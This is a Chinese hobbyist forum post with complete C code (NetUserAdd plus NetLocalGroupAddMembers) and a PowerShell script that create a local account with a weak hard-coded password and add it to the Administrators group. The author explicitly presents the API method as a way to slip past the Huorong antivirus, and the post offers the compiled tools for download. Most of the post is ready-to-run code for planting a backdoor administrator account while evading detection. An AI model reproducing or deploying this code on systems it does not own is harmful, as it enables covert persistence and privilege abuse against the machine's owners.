|
本帖最后由 UnknownOoo 于 2025-1-6 23:33 编辑
嘛...先给自己套个甲:本人并非网安,计算机相关专业的(只是基于兴趣驱动),下文内容中可能会出现一些相对“愚蠢”的问题,别骂我别骂我qwq
其实吧,这两种方法应该算是非常普遍的(?)随便在搜索引擎搜下就能搜到的...所以只是我浅浅复习一下C语言的写法而已,免得太久没摸什么都不会写了(被打)
首先,除了调用net.exe -> net1.exe 的方法外,我们还可以通过调用系统API来实现添加账户(欺负火绒没有API级别的监控awa)
所以嘛,接下来我们要用到 lmaccess.h 中的两个API函数:NetUserAdd 和 NetLocalGroupAddMembers,函数的参数分别如下:
- NET_API_STATUS NET_API_FUNCTION NetUserAdd(
- [in] LPCWSTR servername,
- [in] DWORD level,
- [in] LPBYTE buf,
- [out] LPDWORD parm_err
- );
复制代码- NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
- [in] LPCWSTR servername,
- [in] LPCWSTR groupname,
- [in] DWORD level,
- [in] LPBYTE buf,
- [in] DWORD totalentries
- );
复制代码
这边就直接给代码了:
- #include "main.h"
- int main() {
- wchar_t username[] = L"test";
- wchar_t password[] = L"test";
- DWORD dwError = 0;
- NET_API_STATUS nStatus;
- USER_INFO_1 User_Information;
- User_Information.usri1_name = username;
- User_Information.usri1_password = password;
- User_Information.usri1_password_age = NULL;
- User_Information.usri1_priv = USER_PRIV_USER;
- User_Information.usri1_home_dir = NULL;
- User_Information.usri1_comment = NULL;
- User_Information.usri1_flags = UF_SCRIPT;
- User_Information.usri1_script_path = NULL;
- nStatus = NetUserAdd(NULL,
- 1,
- (LPBYTE)&User_Information,
- &dwError);
- if (nStatus != NERR_Success){
- printf("A system error has occurred: %d\n", nStatus);
- getchar();
- return -1;
- }
- printf("User "%ls" has been successfully added.\r\n", username);
- }
复制代码
在当前场景下, USER_INFO_1 结构体中的 usri1_priv 成员只能赋值 USER_PRIV_USER 。你问为什么?我也不造呐,反正微软文档就是这么写的:
分配给 usri1_name 成员的权限级别。 调用 NetUserAdd 函数时,必须 USER_PRIV_USER 此成员。 调用 NetUserSetInfo 函数时,此成员必须是 NetUserGetInfo 函数或 NetUserEnum 函数返回的值。 此成员可以是以下值之一。 有关用户和组帐户权限的详细信息,请参阅 特权。
另外在 NetUserAdd 函数调用后,你并不能直接在“控制面板\用户帐户\用户帐户\管理帐户”中找到你新建的账户,而需要到“计算机管理(本地)\系统工具\本地用户和组\用户”中才能找到,猜测可能是 USER_INFO_1 结构体中的 usri1_flags 成员的问题。
这样不出所料的话,你就能得到一个标准权限的账户了,是在火绒无感的情况下哦。
然后就需要把这个账户丢到管理员组里来提升到管理员权限,此步骤用到了 NetLocalGroupAddMembers 函数,不多说,直接丢代码:
- #include "main.h"
- int main() {
- wchar_t username[] = L"test";
- wchar_t password[] = L"test";
- DWORD dwError = 0;
- NET_API_STATUS nStatus;
- USER_INFO_1 User_Information;
- User_Information.usri1_name = username;
- User_Information.usri1_password = password;
- User_Information.usri1_password_age = NULL;
- User_Information.usri1_priv = USER_PRIV_USER;
- User_Information.usri1_home_dir = NULL;
- User_Information.usri1_comment = NULL;
- User_Information.usri1_flags = UF_SCRIPT;
- User_Information.usri1_script_path = NULL;
- nStatus = NetUserAdd(NULL,
- 1,
- (LPBYTE)&User_Information,
- &dwError);
- if (nStatus != NERR_Success){
- printf("A system error has occurred: %d\n", nStatus);
- getchar();
- return -1;
- }
- printf("User "%ls" has been successfully added.\r\n", username);
- LOCALGROUP_MEMBERS_INFO_3 account;
- account.lgrmi3_domainandname = User_Information.usri1_name;
- nStatus = NULL;
- nStatus = NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1);
- if (nStatus != NERR_Success) {
- printf("A system error has occurred: %d\n", nStatus);
- getchar();
- return -1;
- }
- printf("User "%ls" has been successfully added to administrator's group!\r\n", username);
- getchar();
- return 0;
- }
复制代码
其中的第三个参数“level”可以填 0 或者 3,具体含义如下图:
根据我们前面的写法...怎么想都是填3呐...用SID不是恶心自己嘛()
选填3的话...我们就需要按照文档的说法初始化 LOCALGROUP_MEMBERS_INFO_3 结构体,
然后把被操作用户的名字传到里面的唯一成员 lgrmi3_domainandname 中(这个也简单)
这样就结束哩,效果如图:
还有一种方法是使用powershell脚本语言来添加管理员账户...这个方法就更简单了...直接丢代码,讲都不用讲()
- # 使用管理员权限运行此脚本
- # 定义新用户的用户名和密码
- $userName = "NewUser"
- $password = ConvertTo-SecureString "Password123" -AsPlainText -Force
- # 创建本地用户账户
- New-LocalUser -Name $userName -Password $password -FullName "New User" -Description "This is a new user."
- # 添加新用户到 "Administrators" 组
- Add-LocalGroupMember -Group "Administrators" -Member $userName
- # 输出创建的用户信息
- Get-LocalUser -Name $userName
复制代码
由于这次涉及到的文件没有任何实际危害(最多算HackTool),各位感兴趣但又没有编译环境的可以拉去测试(exe/ps1 均需要以管理员权限运行!)
AddUser.zip
(5.07 KB, 下载次数: 4)
|
|